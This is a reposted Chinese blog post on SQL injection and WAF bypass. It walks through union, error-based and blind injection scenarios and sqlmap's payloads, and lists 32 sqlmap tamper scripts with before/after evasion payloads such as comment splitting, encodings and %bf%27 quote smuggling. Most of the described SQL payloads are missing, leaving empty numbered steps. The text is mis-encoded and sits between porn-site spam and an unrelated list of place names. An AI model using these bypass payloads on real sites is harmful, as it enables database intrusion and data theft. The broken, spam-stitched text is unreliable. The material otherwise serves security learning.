最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

WAF機(jī)制及繞過(guò)方法總結(jié):注入篇

2020-04-22 19:50 作者:HACKCTF  | 我要投稿

任務(wù)目標(biāo)

1.收集網(wǎng)絡(luò)上各種sql注入時(shí)使用的payload并理解其適用的環(huán)境(檢測(cè)注入、利用注入);

2.記錄sqlmap的檢測(cè)和利用過(guò)程中使用的payload;

3.理解以上涉及的sql語(yǔ)句的意思,其中會(huì)涉及不同的數(shù)據(jù)庫(kù)、不同注入場(chǎng)景。將收集方式和學(xué)習(xí)過(guò)程整理形成報(bào)告;

4.擴(kuò)展學(xué)習(xí):理解sqlmap自帶tamper的原理

0x01 Payload收集

以下payloads都基于單引號(hào)字符型注入。若是整型注入則把單引號(hào)和注釋符(–+)去掉,若是雙引號(hào)注入則把單引號(hào)換成雙引號(hào)。

我們把注入場(chǎng)景分為:

  • 聯(lián)合查詢注入

  • 報(bào)錯(cuò)型注入

  • 布爾盲注

  • 時(shí)間盲注

聯(lián)合查詢注入

使用場(chǎng)景

頁(yè)面上有顯示位

什么是顯示位:在一個(gè)在一個(gè)網(wǎng)站的正常頁(yè)面,服務(wù)端執(zhí)行SQL語(yǔ)句查詢數(shù)據(jù)庫(kù)中的數(shù)據(jù),客戶端將數(shù) 據(jù)展示在頁(yè)面中,這個(gè)展示數(shù)據(jù)的位置就叫顯示位 。

Payload

1.判斷當(dāng)前數(shù)據(jù)表中有幾列:

2.查看顯示位在第幾列(假設(shè)一共三列):

注意:這里必須是查詢一個(gè)不存在的記錄才能起作用。

3.顯示當(dāng)前數(shù)據(jù)庫(kù)(假設(shè)顯示位中包含第三位):

4.查看當(dāng)前數(shù)據(jù)庫(kù)中的所有表:

函數(shù)group_concat()把所有結(jié)果都在一行輸出

5.查詢所有數(shù)據(jù)庫(kù):

6.查詢某個(gè)數(shù)據(jù)庫(kù)中的表:

7.查詢某個(gè)表中的所有字段:

8.查詢某個(gè)表中的字段內(nèi)容

0x3a會(huì)被轉(zhuǎn)義位冒號(hào)

報(bào)錯(cuò)型注入

使用場(chǎng)景

頁(yè)面上沒(méi)有顯示位但是有sql語(yǔ)句執(zhí)行錯(cuò)誤信息輸出。

Payload

主要有三種SQL注入報(bào)錯(cuò)方式:

  • ExtractValue

  • UpdateXml

  • floor

ExtractValue

首先來(lái)看ExtractValue()函數(shù),它接受兩個(gè)字符串參數(shù),第一個(gè)參數(shù)可以傳入目標(biāo)xml文檔,第二個(gè)參數(shù)是用Xpath路徑法表示的查找路徑。這里如果Xpath格式語(yǔ)法書(shū)寫(xiě)錯(cuò)誤的話,就會(huì)報(bào)錯(cuò)。這里就是利用這個(gè)特性來(lái)獲得我們想要知道的內(nèi)容。例如:



利用concat函數(shù)將想要獲得的數(shù)據(jù)庫(kù)內(nèi)容拼接到第二個(gè)參數(shù)中,報(bào)錯(cuò)時(shí)作為內(nèi)容輸出。


UpdateXml


UpdateXML(xml_target, xpath_expr, new_xml)

xml_target::?需要操作的xml片段

xpath_expr:?需要更新的xml路徑(Xpath格式)

new_xml:?更新后的內(nèi)容

不過(guò)這些參數(shù)都不太重要,這里和上面的extractvalue函數(shù)一樣,當(dāng)Xpath路徑語(yǔ)法錯(cuò)誤時(shí),就會(huì)報(bào)錯(cuò),報(bào)錯(cuò)內(nèi)容含有錯(cuò)誤的路徑內(nèi)容:

Floor

有關(guān)floor()函數(shù)的注入原理可以看這篇文章。

固定格式:


******替換為查詢語(yǔ)句即可。

1.查詢數(shù)據(jù)庫(kù)

2.查詢某個(gè)數(shù)據(jù)庫(kù)中的表

3.查詢表中的字段

4.查詢表中的字段內(nèi)容

修改limit x,1 可以顯示第x個(gè)用戶的password和username。

布爾盲注

使用場(chǎng)景

頁(yè)面沒(méi)有顯示位,也沒(méi)有SQL語(yǔ)句執(zhí)行錯(cuò)誤信息,只能通過(guò)頁(yè)面返回是否正常來(lái)判斷注入點(diǎn)。

Payload

有用到二分法的思想

數(shù)據(jù)庫(kù)名相關(guān)

1.查詢數(shù)據(jù)庫(kù)個(gè)數(shù)

2.查詢某一個(gè)數(shù)據(jù)庫(kù)名的長(zhǎng)度

3.查詢某個(gè)數(shù)據(jù)庫(kù)名

數(shù)據(jù)表相關(guān)

1.查詢表的個(gè)數(shù)

2.查詢表的長(zhǎng)度

3.查看某個(gè)表名

字段相關(guān)

1.查看某個(gè)表中的字段個(gè)數(shù)

2.查看某個(gè)字段名的長(zhǎng)度

3.查看某個(gè)字段名

記錄內(nèi)容相關(guān)

1.查看表中行數(shù)

2.查看某個(gè)字段內(nèi)容的長(zhǎng)度

3.查看某個(gè)字段的內(nèi)容

時(shí)間盲注

使用場(chǎng)景

頁(yè)面上沒(méi)有顯示位,也沒(méi)有輸出SQL語(yǔ)句執(zhí)行錯(cuò)誤信息。正確的SQL語(yǔ)句和錯(cuò)誤的SQL語(yǔ)句返回頁(yè)面都一樣,但是加入sleep(5)條件之后,如果if條件成立則頁(yè)面的返回速度明顯慢了5秒。

Payload

與布爾盲注的思想類似

1.判斷數(shù)據(jù)庫(kù)的個(gè)數(shù)

2.判斷數(shù)據(jù)庫(kù)名的長(zhǎng)度

3.查詢數(shù)據(jù)庫(kù)名

0x02 SQLMap Payload

1.以sqlilab中的Less-8為例(布爾型單引號(hào)GET盲注),查看sqlmap中使用的payloads,執(zhí)行命令:

首先獲取數(shù)據(jù)庫(kù)的個(gè)數(shù):

函數(shù)解釋:

Payload解釋:

0-9的字符ASCII值對(duì)應(yīng)的是48-57,所以sqlmap首先判斷的>51也就是>3,因?yàn)閙ysql本身就有六個(gè)數(shù)據(jù)庫(kù)但world、test、sakila這三個(gè)數(shù)據(jù)庫(kù)沒(méi)什么用可以刪除,那么最少應(yīng)該有三個(gè)數(shù)據(jù)庫(kù),performance_schemainformation_schemamysql。

假如數(shù)據(jù)庫(kù)的數(shù)量是>3的話,那么就相當(dāng)于1' and true返回頁(yè)面不會(huì)出現(xiàn)問(wèn)題,如果返回頁(yè)面不是正確頁(yè)面的話我們就可以確定一共有三個(gè)數(shù)據(jù)庫(kù)(都是默認(rèn)的)或者是由10多個(gè)數(shù)據(jù)庫(kù)(20多個(gè)也是有可能的),十位是1,2總之是小于等于3的。

再獲取每個(gè)數(shù)據(jù)庫(kù)名(這里也mysql為例):

其實(shí)道理和上述的一樣進(jìn)行猜解,通過(guò)判斷每一位的ASCII碼值來(lái)確定每個(gè)字母。


  • ORD(string) :返回字符串首字符的ASCII碼值。

  • MID(string,start,length) :返回字符串的從start開(kāi)始長(zhǎng)度為length的字符串。IFNULL(string1,string2) :如果string1是NULL則返回string2,如果不是NULL返回string1。

  • CAST(volume as type) 用于數(shù)據(jù)類型轉(zhuǎn)換,將volume轉(zhuǎn)換成type類型的數(shù)據(jù)(如這里是將數(shù)字轉(zhuǎn)換為字符串)。

  • COUNT():統(tǒng)計(jì)個(gè)數(shù)。

  • DISTINCT():標(biāo)記只要不同(唯一)的值。


再以sqlilab中的Less-4為例(基于錯(cuò)誤的GET雙引號(hào)字符型注入),查看sqlmap中使用的payloads,執(zhí)行命令:

SQLMap執(zhí)行的payload如下所示:

0x03 SQLMap Tamper

SQLMap的tamper使用命令如下:

常用的tamper腳本


1.apostrophemask.py
適用數(shù)據(jù)庫(kù):ALL
作用:將引號(hào)替換為utf-8,用于過(guò)濾單引號(hào)
使用腳本前:tamper(“1 AND ‘1’='1”)
使用腳本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871


2.base64encode.py
適用數(shù)據(jù)庫(kù):ALL
作用:替換為base64編碼
使用腳本前:tamper(“1’ AND SLEEP(5)#”)
使用腳本后:MScgQU5EIFNMRUVQKDUpIw==


3.multiplespaces.py
適用數(shù)據(jù)庫(kù):ALL
作用:圍繞sql關(guān)鍵字添加多個(gè)空格
使用腳本前:tamper(‘1 UNION SELECT foobar’)
使用腳本后:1 UNION SELECT foobar


4.space2plus.py
適用數(shù)據(jù)庫(kù):ALL
作用:用加號(hào)替換空格
使用腳本前:tamper(‘SELECT id FROM users’)
使用腳本后:SELECT+id+FROM+users


5.nonrecursivereplacement.py
適用數(shù)據(jù)庫(kù):ALL
作用:作為雙重查詢語(yǔ)句,用雙重語(yǔ)句替代預(yù)定義的sql關(guān)鍵字(適用于非常弱的自定義過(guò)濾器,例如將
select替換為空)
使用腳本前:tamper(‘1 UNION SELECT 2–’)
使用腳本后:1 UNIOUNIONN SELESELECTCT 2–


6.space2randomblank.py
適用數(shù)據(jù)庫(kù):ALL
作用:將空格替換為其他有效字符
使用腳本前:tamper(‘SELECT id FROM users’)
使用腳本后:SELECT%0Did%0DFROM%0Ausers


7.unionalltounion.py
適用數(shù)據(jù)庫(kù):ALL
作用:將union allselect 替換為unionselect
使用腳本前:tamper(’-1 UNION ALL SELECT’)
使用腳本后:-1 UNION SELECT


8.securesphere.py
適用數(shù)據(jù)庫(kù):ALL
作用:追加特定的字符串
使用腳本前:tamper(‘1 AND 1=1’)
使用腳本后:1 AND 1=1 and ‘0having’=‘0having’


9.space2dash.py
適用數(shù)據(jù)庫(kù):ALL
作用:將空格替換為–,并添加一個(gè)隨機(jī)字符串和換行符
使用腳本前:tamper(‘1 AND 9227=9227’)
使用腳本后:1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227


10.space2mssqlblank.py
適用數(shù)據(jù)庫(kù):Microsoft SQL Server
測(cè)試通過(guò)數(shù)據(jù)庫(kù):Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用:將空格隨機(jī)替換為其他空格符號(hào)(’%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’,
‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)
使用腳本前:tamper(‘SELECT id FROM users’)
使用腳本后:SELECT%0Eid%0DFROM%07users


11.percentage.py
適用數(shù)據(jù)庫(kù):ASP
測(cè)試通過(guò)數(shù)據(jù)庫(kù):Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL
9.0
作用:在每個(gè)字符前添加一個(gè)%
使用腳本前:tamper(‘SELECT FIELD FROM TABLE’)
使用腳本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E


12.sp_password.py
適用數(shù)據(jù)庫(kù):MSSQL
作用:從T-SQL日志的自動(dòng)迷糊處理的有效載荷中追加sp_password
使用腳本前:tamper('1 AND 9227=9227-- ')
使用腳本后:1 AND 9227=9227-- sp_password


13.charencode.py
測(cè)試通過(guò)數(shù)據(jù)庫(kù):Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、
PostgreSQL 8.3, 8.4, 9.0
作用:對(duì)給定的payload全部字符使用url編碼(不處理已經(jīng)編碼的字符)
使用腳本前:tamper(‘SELECT FIELD FROM%20TABLE’)
使用腳本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45


14.randomcase.py
測(cè)試通過(guò)數(shù)據(jù)庫(kù):Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、
PostgreSQL 8.3, 8.4, 9.0
作用:隨機(jī)大小寫(xiě)
使用腳本前:tamper(‘INSERT’)
使用腳本后:INseRt


15.charunicodeencode.py
適用數(shù)據(jù)庫(kù):ASP、ASP.NET
測(cè)試通過(guò)數(shù)據(jù)庫(kù):Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用:適用字符串的unicode編碼
使用腳本前:tamper(‘SELECT FIELD%20FROM TABLE’)
使用腳本后:
%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u
0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045


16.space2comment.py
測(cè)試通過(guò)數(shù)據(jù)庫(kù):Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:將空格替換為/**/
使用腳本前:tamper(‘SELECT id FROM users’)
使用腳本后:SELECT/**/id/**/FROM/**/users


17.equaltolike.py
測(cè)試通過(guò)數(shù)據(jù)庫(kù):Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用:將=替換為L(zhǎng)IKE
使用腳本前:tamper(‘SELECT * FROM users WHERE id=1’)
使用腳本后:SELECT * FROM users WHERE id LIKE 1


18.equaltolike.py
測(cè)試通過(guò)數(shù)據(jù)庫(kù):MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:將>替換為GREATEST,繞過(guò)對(duì)>的過(guò)濾
使用腳本前:tamper(‘1 AND A > B’)
使用腳本后:1 AND GREATEST(A,B+1)=A


19.ifnull2ifisnull.py
適用數(shù)據(jù)庫(kù):MySQL、SQLite (possibly)、SAP MaxDB (possibly)
測(cè)試通過(guò)數(shù)據(jù)庫(kù):MySQL 5.0 and 5.5
作用:將類似于IFNULL(A, B)替換為IF(ISNULL(A), B, A),繞過(guò)對(duì)IFNULL的過(guò)濾
使用腳本前:tamper(‘IFNULL(1, 2)’)
使用腳本后:IF(ISNULL(1),2,1)


20.modsecurityversioned.py
適用數(shù)據(jù)庫(kù):MySQL
測(cè)試通過(guò)數(shù)據(jù)庫(kù):MySQL 5.0
作用:過(guò)濾空格,使用mysql內(nèi)聯(lián)注釋的方式進(jìn)行注入
使用腳本前:tamper(‘1 AND 2>1–’)
使用腳本后:1 /!30874AND 2>1/–


21.space2mysqlblank.py
適用數(shù)據(jù)庫(kù):MySQL
測(cè)試通過(guò)數(shù)據(jù)庫(kù):MySQL 5.1
作用:將空格替換為其他空格符號(hào)(’%09’, ‘%0A’, ‘%0C’, ‘%0D’, ‘%0B’)
使用腳本前:tamper(‘SELECT id FROM users’)
使用腳本后:SELECT%0Bid%0DFROM%0Cusers


22.modsecurityzeroversioned.py
適用數(shù)據(jù)庫(kù):MySQL
測(cè)試通過(guò)數(shù)據(jù)庫(kù):MySQL 5.0
作用:使用內(nèi)聯(lián)注釋方式(/!00000/)進(jìn)行注入
使用腳本前:tamper(‘1 AND 2>1–’)
使用腳本后:1 /!00000AND 2>1/–


23.space2mysqldash.py
適用數(shù)據(jù)庫(kù):MySQL、MSSQL
作用:將空格替換為 – ,并追隨一個(gè)換行符
使用腳本前:tamper(‘1 AND 9227=9227’)
使用腳本后:1–%0AAND–%0A9227=9227


24.bluecoat.py
適用數(shù)據(jù)庫(kù):Blue Coat SGOS
測(cè)試通過(guò)數(shù)據(jù)庫(kù):MySQL 5.1,、SGOS
作用:在sql語(yǔ)句之后用有效的隨機(jī)空白字符替換空格符,隨后用LIKE替換=
使用腳本前:tamper(‘SELECT id FROM users where id = 1’)
使用腳本后:SELECT%09id FROM users where id LIKE 1


25.versionedkeywords.py
適用數(shù)據(jù)庫(kù):MySQL
測(cè)試通過(guò)數(shù)據(jù)庫(kù):MySQL 4.0.18, 5.1.56, 5.5.11
作用:注釋繞過(guò)
使用腳本前:tamper(‘1 UNION ALL SELECT NULL, NULL,
CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS
CHAR),CHAR(32)),CHAR(58,100,114,117,58))#’)
使用腳本后:1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,
CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(
32)),CHAR(58,100,114,117,58))#


26.halfversionedmorekeywords.py
適用數(shù)據(jù)庫(kù):MySQL < 5.1
測(cè)試通過(guò)數(shù)據(jù)庫(kù):MySQL 4.0.18/5.0.22
作用:在每個(gè)關(guān)鍵字前添加mysql版本注釋
使用腳本前:tamper(“value’ UNION ALL SELECT
CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS
CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa”)
使用腳本后:
value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNUL
L(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58
)),/!0NULL,/!0NULL#/!0AND ‘QDWa’='QDWa


27.space2morehash.py
適用數(shù)據(jù)庫(kù):MySQL >= 5.1.13
測(cè)試通過(guò)數(shù)據(jù)庫(kù):MySQL 5.1.41
作用:將空格替換為#,并添加一個(gè)隨機(jī)字符串和換行符
使用腳本前:tamper(‘1 AND 9227=9227’)
使用腳本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227


28.apostrophenullencode.py
適用數(shù)據(jù)庫(kù):ALL
作用:用非法雙字節(jié)Unicode字符替換單引號(hào)
使用腳本前:tamper(“1 AND ‘1’='1”)
使用腳本后:1 AND %00%271%00%27=%00%271


29.appendnullbyte.py
適用數(shù)據(jù)庫(kù):ALL
作用:在有效載荷的結(jié)束位置加載null字節(jié)字符編碼
使用腳本前:tamper(‘1 AND 1=1’)
使用腳本后:1 AND 1=1%00


30.chardoubleencode.py
適用數(shù)據(jù)庫(kù):ALL
作用:對(duì)給定的payload全部字符使用雙重url編碼(不處理已經(jīng)編碼的字符)
使用腳本前:tamper(‘SELECT FIELD FROM%20TABLE’)
使用腳本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F
%254D%2520%2554%2541%2542%254C%2545


31.unmagicquotes.py
適用數(shù)據(jù)庫(kù):ALL
作用:用一個(gè)多字節(jié)組合%bf%27和末尾通用注釋一起替換空格
使用腳本前:tamper(“1’ AND 1=1”)
使用腳本后:1%bf%27 AND 1=1–


32.randomcomments.py
適用數(shù)據(jù)庫(kù):ALL
作用:用注釋符分割sql關(guān)鍵字
使用腳本前:tamper(‘INSERT’)
使用腳本后:I//N//SERT

作者:ca0y1h's Blog

原文:https://ca0y1h.top/



WAF機(jī)制及繞過(guò)方法總結(jié):注入篇的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
乐山市| 新乡县| 瓮安县| 芦溪县| 商丘市| 扬中市| 崇礼县| 南宫市| 甘谷县| 九寨沟县| 海南省| 西华县| 建昌县| 页游| 古蔺县| 伊川县| 徐水县| 罗甸县| 军事| 仙桃市| 白沙| 永州市| 河北省| 来凤县| 昭苏县| 新建县| 潼关县| 青田县| 富平县| 澳门| 乐昌市| 宝丰县| 会宁县| 东平县| 瑞金市| 大足县| 枞阳县| 屏山县| 天气| 辽阳市| 上虞市|